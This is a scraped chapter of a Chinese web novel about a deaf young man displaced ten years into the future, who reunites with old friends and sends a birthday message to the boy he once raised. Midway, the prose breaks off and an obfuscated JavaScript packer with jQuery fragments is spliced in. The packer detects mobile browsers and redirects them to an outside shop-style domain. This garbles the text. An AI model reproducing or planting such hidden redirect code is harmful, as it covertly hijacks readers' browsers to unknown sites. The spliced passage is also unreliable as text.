头发干了,安祤放下毛巾。

    想到现在变成这样,莫名又有些难受。

    他说不上来为什么,但明明现在的他已经22岁,比当初还要大了六岁,不是被养父母扔下独自过年就会难受的年纪,总应该要更能承担和处理生活上所遇到的问题。

    可面对熟悉邻居的离开,小檐的变化,内心还是忍不住惶惶不安。

    安祤呆坐了很久,才起身去床上,躺下来,又不可抑制地想起来,刚刚忘了问小檐怎么知道他回来了,又为什么不回他消息?

    既然知道了他回来了又为什么不给他发消息,是号码换了吗?

    可真要当着面说,他又不知道怎么开口,也不确定他们以后还能不能再见,毕竟现在安祤连小檐住在哪都不知道。

    时间一点点流转,安祤明天还要去周然家里,闭上眼,满怀心事地睡了。

    天光大亮,阳光一点点洒进房间,安祤大汗淋漓醒来,才想起来,这个月份天气很热,回来了两天,他都没想起来要开风扇。

    趁着时间还早,安祤没有烧热水,拿着干净的衣服走去厕所洗了个冷水澡,再拿出风扇清洗。

    风扇款式老旧,固定外壳的螺丝起了锈,安祤废了好些时间拆开又装上,插上电,室内掀起阵阵凉风。

    有些长的刘海被掀起,露出白净的额头,安祤没管,蹲在地上,舒服地闭上眼吹了会儿。

    手机震动了两下,周然发了定位过来,问他什么时候到。

    安祤看了下导航,回了一个大概的时间,便起身收拾,打算待会就出门。

    不知道是不是安祤的错觉,他总觉得,十年后的夏天要热许多,本来他十年前的七月还是穿着薄薄的外衣,现在似乎只要穿一个短袖出门,戴帽子还会很热,但最后安祤还是习惯性地带上黑色鸭舌帽。

    周然家在清远市另一个区,他要公交转地铁,这还是安祤第一次坐地铁,在网上看了好几个攻略视频,但第一步安祤卡住了。

    因为在被安检扫描时,他不合时宜地想,这个机器会不会扫到他是来自十年前的人?

    心惊胆战地被前后扫了一下,安检大哥摆了摆手,示意他过去。

    安祤才松了口气。

    下了地铁,安祤去附近的银行取了八百块钱,塞在昨天买的红包里,又去买了些水果,这才顺着导航去周然家。

    按照周然发来的详细地址,安祤走进一个居民小区里,还没到楼下,远远看过去,就见到前面站着一对略显年轻的男女,男人手里还抱着个小孩,看侧脸是周然。

    安祤脚步快了点,想要上前打招呼,周然身边的女人似乎是意识到了什么,朝这边看了过来。

    小区内大道两旁种了梧桐树,阳光透过梧桐叶洒下来,阴影落在少年身上,随着他走动而变换。

    帽檐下的双眼是一如既往地清澈柔和,像十年前那样,丝毫没变,沉默地朝她走来。

    林姣眼睛蓦地红了起来。

    林姣生来就听不见,妈妈在她三岁时就死了,爸爸很快娶了新的老婆,生了弟弟妹妹,本对她可怜的那点关心更是没有了。

    在家里的她是透明人,在聋校里也是,没有朋友,没有同伴,始终一个人。她有时候想,这样一辈子平安无事地过下去也挺好。老天大概是偷听了她的想法,偏不让她好过。

    一次体育课上,她第一次来了生理期,穿着沾血的裤子晃荡了许久,等到发现周围人奇怪的眼神才恍然反应过来,却无处可躲。

    没有人愿意帮她,直到安祤出现,脱了外衣递给她,沉默地站在她身边,告诉她衣服可以改天再还给他。

    当天回去,林姣想和爸爸多要点生活费,非但没有要到,原先说好的每周十块钱生活费也没了。

    林姣再怎么小心,裤子还是脏了,她躲在厕所不敢出去,难堪到想哭,再回到教室,桌肚里却多了包卫生巾。

    过了很久,在和安祤周然熟悉后,她才知道,那是安祤用自己的生活费去买了偷偷放在她桌子里的,连周然都没告诉。

    被突然抱住的安祤微微睁大了眼,他下意识想要后退,感受到脖颈里的湿润后,他脊背又僵住,却没再动了。

    若有若无的奶香味涌入鼻腔,有一种妈妈的味道,这股味道安祤只在养母那里闻到过,但这也是很久很久之前了,在那之后,他没再被这股味道笼罩过。他都以为自己早就忘记这股味道了。

    安祤身形逐渐放松。

    周然抱着孩子走过来,摸了摸林姣的头,林姣这才红着眼眶放开安祤,有些不好意思地看向他。

    当初安静腼腆的女孩如今看上去也成熟了许多,结了婚当了妈妈,安祤记忆里却还是她22岁时模样,变了又好像没变。

    林姣看安祤神情认真,打着手语和他说:「你能回来,真好。」

    安祤看她极力要忍住哭的模样,他没想过他们会记自己这么久,心脏变得烫烫的,不知道说什么,便只拿出纸巾给她擦眼泪。

    周然笑了下,“别站着了,回家吧。”

    “这是我们贷款买的,三室一厅,不大不小,刚刚好,这是厨房,这是宝宝的房间,外面还有一个阳台……”

    到家后,周然就抱着孩子给他介绍,介绍完一圈,回到客厅。

    周然笑着将孩子放在了他身边,“这是我女儿,叫悦悦,你陪她玩一下,我去炒菜,小姣一个人在厨房忙不过来。”

    安祤当初捡到小檐时,小檐看着瘦小,但也有11岁了,后来养母生了小弟弟,很快搬去了新房子,安祤几乎没有和这么小的宝宝相处的经验。

    悦悦被爸爸放在垫子上也不哭闹,只睁着眼睛看着面前好看的叔叔,傻笑了一会儿,朝他爬过去。

    安祤僵着身子,任由她在自己身上攀爬,但又紧张地怕她摔下来,几乎是手足无措,求助似地看向厨房里的周然林姣。

    林姣转过头来,恰好对视上了安祤的眼神,这还是她第一次看到安祤这样,有些好笑。

    她对着安祤比划,「你陪她玩一下,随便什么东西放她手里,她都喜欢。」

    安祤便拿出了昨天买的兔子玩偶和软积木。

    悦悦果然被吸引了注意力,不再往他身上爬,而是拽了拽兔子耳朵,又拿起积木,一个人玩了起来。

    安祤看着她安静坐着的模样,莫名想起小时候的小檐。

    那是安祤捡到小檐的第二天,沈檐吃饱后脑子迟钝,和安祤一起躺在他的小床上睡了一晚上,隔天醒来后才竖起防备。

    安祤睁开眼就对上一双满怀攻击警惕的眼神。

    他愣了好会儿,才笑着对他比划,「你叫什么名字?」

    沈檐依旧只盯着他,不说话。

    安祤满心都是过年有了人陪伴,加上此时的沈檐虽然有11岁,但瘦骨嶙峋,坐在小床上被厚被子围着,显得更小了,对安祤来说,造不成什么伤害。

    「你不说话,那我就喊你宝宝吧?我看妈妈也这样喊弟弟的。」

    安祤眼睛弯成了月牙。

    这一天里,沈檐一直坐在小床里侧,靠墙抱着腿,整个人蜷缩成一团,也不张口说话,更别说回安祤话了。

    安祤一开始还以为他和自己一样是聋人,后来发现他单纯是不喜欢说话,所以也就自顾自比划。

    「你要不要刷牙?妈妈说不刷牙会长虫。」

    「你有爸爸妈妈吗?好吧,你应该没有,有爸爸妈妈的人昨晚上都在跨年。没关系,我也是一个人,以后我们就是两个人了。」

    「好饿,你要不要吃面条?我给你再加一个煎蛋!」

    「今天是大年初一,冰箱里还有肉,要不我学一下包肉包子吧?我去年过年在妈妈那边吃了一个,特别好吃。」

    肚子叽里呱啦地响,沈檐看着面前总是喜欢拿手比划的少年,用最大的恶意揣测对方是在比划什么咒语诅咒自己。

    几年前被带到偏僻的村庄里,那户人家每晚上就喜欢跪在祠堂前,嘴里念叨着什么奇怪的话语。

    可是肚子真的好饿,昨天晚上吃的东西进了肚子很快就消化了,胃好像变得更馋了,他怀疑是安祤昨晚在饭菜里下了毒。

    安祤不知道沈檐脑子里怎么想自己,哼哧哼哧地在厨房揉面。

    这是他第一次做肉包子,只记得楼下邻居老奶奶告诉他的,面粉多了加水,水多了加面粉,就这样循环反复,安祤揉出来一个巨大的面团,等醒完面,面团更大了,软乎乎的,他忍不住往里戳一个又一个的小洞。

    他觉得好玩,又揪出一点塞到沈檐手里。

    沈檐看着手里软乎乎的东西,好会儿才低头闻了闻,忍住了想要塞嘴里的冲动,抬起头看安祤背对着他在干什么。

    安祤面团揉多了,肉馅却没多少,只够他包五个,后面就做成了馒头,一起放在锅里蒸。

    四十分钟后,厨房逐渐飘出肉香味。

    他满脸高兴地拿出包的最大的肉包子,递给沈檐,「宝宝,你快尝尝。」

    沈檐眼睛睁得大大的,像是受到刺激一样拍开他手里的包子。

    安祤愣在原地,脸上的笑僵硬下来,过了会儿,才蹲下身捡起滚落在地上的包子,拍了拍,低头咬了口,油润的肉香充斥口腔。

    吃完整个包子安祤才起身,将刚刚蒸的包子馒头装进大碗里,放在小床边,然后去厕所洗沈檐换下来的衣服。

    等他洗完出来,一大盆的包子馒头只剩下两个包子一个馒头,其余都被沈檐吃光了。

    安祤忍不住笑了下。

    到了晚上,他也躺进小床里,被子里因沈檐待了一整天而变得暖烘烘的,安祤忍不住朝他凑近了些,哪怕下午手被重重拍了下,但他还是觉得,有个弟弟真好。

    沈檐像是不喜欢他的触碰,整个人往墙边靠。

    安祤发现后,便安安稳稳地躺在外边。

    到了深夜,沈檐终于撑不住闭上眼,身体下意识朝安祤这边移过来,到后面手脚都贴了过来,挨着安祤熟睡过去。

    ……

    悦悦玩累了,身体软软地朝安祤贴了过来。

    安祤轻轻抱住她,悦悦没一会儿在他怀里睡了过去。

    林姣走了过来,看到女儿这样,笑着对他打手语,「她很喜欢你。」

    比划完,她弯腰抱起孩子,去了房间,没一会儿又出来盛饭。

    周然将菜端上了桌,安祤也去帮忙,听他说,“我按照你喜欢的口味弄了些,不知道你吃不吃得惯。”

    安祤看了眼,都是他喜欢的菜,弯了弯眼睛,「看着还不错,辛苦了。」

    三人坐下来,一边吃一边聊。

    林姣和他大致说了下他们这些年的经历,「我读完聋校,成年就出去打工了,周然联系我才知道我们在一个城市,偶尔聚一聚,到后来存到一笔钱,就想着去摆摊,没亏钱但也没赚钱,又学了电商,网上开了店铺,赚点生活费,再后来想稳定下来,就和周然结了婚生下悦悦。」

    林姣说着说着有些感慨,「十年前我很迷茫,没想到十年后的我也能过得很幸福。」

    周然笑了下,没说自己其实是跟着林姣去的那座城市,“我没什么技术,就送送外卖,辛苦点一个月也能赚一万多。”

    他又问,“你找到工作了吗?”

    安祤点头。

    断断续续又聊了一会儿,安祤走前将红包塞在沙发抱枕下。

    下楼后不久,林姣又追了上来,安祤以为是自己塞的红包被发现了,但对方却一直没说话。

    林姣从来没想过22岁的安祤还能出现在她面前,要不是从昨天起周然就和她提起,今天悦悦也和安祤玩了好会儿,她到现在都以为安祤是幻觉。

    毕竟哪有人丝毫不变地突然出现在十年后呢?

    她还只在电视里见到过。

    过去她总将安祤当哥哥看待,可现在她已经比安祤大了十岁,还又有了孩子,这样一来,安祤站她面前,更像是弟弟,还经历了这样的事,独自一人,更需要身边最亲近人的陪伴关心。

    她忍不住问他,「你……怎么不去找沈檐?」

    安祤愣了下,面对

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17800634|210621||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    林姣温柔的眼神,莫名不想回避。

    可能是过了很久,又可能只是过了几十秒,安祤没提到他已经和沈檐见了面,只说,「沈檐好像不想认我这个哥哥。」

    林姣想起过去每次去安祤家里,沈檐眼神都放在安祤身上,有时候还会因为安祤因他们到来而忽视自己感到生气,甚至故意制造出些动静,来吸引安祤的注意。

    过去她甚至有些羡慕,羡慕沈檐有个这么好的哥哥。而很明显,沈檐也知道安祤的珍贵,几乎像恶龙守护宝石一样霸占着他。

    她斟酌着说,「会不会是有什么误会?你有问过他吗?」

    安祤摇了摇头。

    林姣想了想,还是说,「你出事那天,我听人说,沈檐以为你被埋在商场下,在那里挖了很久……」

    安祤愣了下,「商场倒塌?」

    林姣点头。

    ……

    回去的路上,安祤脑海里还是这句话。

    挖了很久……

    所以在夏天还要带着黑色皮手套,是那个时候导致的手受伤留疤了吗?

    安祤心脏揪得发疼,想要给沈檐发消息。

    拿出手机,消息框里多了条未读消息,是那天联系他让他入职的同事,让他下载一个软件,说是工作期间要用到。

    安祤冷静下来,立即回了个好。

    沈檐明天生日,到时候再发消息也不迟。

    搜索找到软件,却显示手机版本过低无法下载的提示。

    安祤愣了半晌,去搜攻略,给出的结果都是要换新手机。

    他看了看存款,又去问那人,「我手机有点问题,可以不下载吗?」

    对方很快回复:【这个是考勤要用的哦,不下载的话,是没法判断你是否按时到呢/笑脸.jpg】

    以前工作,安祤只需要按时去店里就好,老板过会儿也会来,还不知道原来有考勤的软件。

    他回了个:「了解了,谢谢,稍等。」

    幸好他才刚下地铁,这边有商场,他去了最近的一家手机店,在店员的推荐下,挑了一款最便宜的手机,价格1099元 。

    尽管便宜,但看着比他用的这款手机要好许多。

    重新换上手机卡,下载完软件,安祤才给那人发了消息。又顺着对方发来的格式,填写了资料,这才结束。

    这时安祤也下了公交,回到家。

    此刻下午五点半,天色渐暗,安祤上楼时总在想,这次会不会再遇到沈檐,但直到他爬上六楼,也没见到那道身影。

    安祤开锁进门,小心将新买的手机放在桌上,随后脱下帽子,去插电烧水。

    做完这些,他才回到客厅,坐在凳子上,计算着自己的存款,其实心里已经有了大概的数目,但他还是习惯地拿出纸笔记下来。

    2030/7/15-7/17账单

    软积木兔子玩偶138

    菜肉牛奶9.8

    交通-11.6

    红包-800

    水果-52.8

    手机-1099

    一些零碎的,安祤将它们合在一起了,算下来,原本银行卡里剩下的2677.2,扣掉这两天用的,只剩下了566。

    幸好工资下个月15号就会发,稍微省一省,这剩下的钱也是够用的。

    整理完,他将背包里的充电器拿出来,一个塞得鼓鼓囊囊的红包也跟着掉出来。

    安祤动作一顿,他记得他将红包塞在了抱枕下。

    他捡起红包,看到了背面上写着的,【心意我们收下了,要好好吃饭。】

    安祤打开红包,里面放着的厚厚一叠,拿出来数了数,一共一千八,周然林姣在他原来的基础又加了一千。

    眼眶有些酸,他捏着红包好会儿,才将钱收起来,给周然发了句消息。

    「谢谢,等我发工资还你们。」

    对面过了会儿才回,【都是朋友,客气什么,你有啥事和我们说,别一个人硬抗。】

    安祤知道他们赚钱也不容易,还有一个女儿,又得还房贷,但没多说,只回了个好。

    水热了,安祤拔掉插头,洗澡洗头,回到房间睡觉。

    可能是这一天一直在外面,安祤听不见,只能依靠眼睛,耗费太多心神。

    也可能是安祤决定明天主动联系沈檐,所以这次沾着枕头便睡了过去。

    再醒来已经是早上九点。

    上午主要是去重新办理健康证。□□的地方离家不远,安祤办完回来还没到中午十二点。

    想着还要在这住一阵子,安祤便将家里角落都打扫了一遍,趁着太阳,又将衣柜里的所有衣服拿出来洗了。

    翻出小檐穿的衣服时,安祤有些恍惚,想起来那天他身上穿的西装,应该是不会再穿这些衣服了,但他还是都重新洗了一遍,挂在晾衣杆上。

    忙活完,他又去超市买了一些菜,这次多买了些,打算晚上多做些。

    如果小檐再来这里的话,也能吃上饭。

    一直忙到下午五点,安祤终于看向冰箱里摆了快三天的蛋糕。

    上面的草莓不再新鲜,蛋糕胚也塌了,到这个时候,安祤又有些后悔,为什么前天沈檐来时,他没有拿出来。但就算那天拿出来,跟着他跨越十年的蛋糕真的还能吃吗?

    总是这样,好像有很多个答案,但其实每个结果都不尽人意。

    安祤又开始想到昨天林姣和他说的话。

    「沈檐以为你被埋在商场下,在那里挖了很久……」

    还有那天晚上沈檐和他说的「不好」。

    为什么不好?

    小檐。

    你不是被爸爸妈妈接回去了吗?

    安祤拿出手机,点开熟悉的头像,消息还是停留在2020年7月18日。

    十秒后。

    最新消息时间转变为2030年7月18日。

    屏幕上许多小小的生日蛋糕掉落,他发了句:【小檐,生日快乐。】

    【你今天有吃生日蛋糕吗?】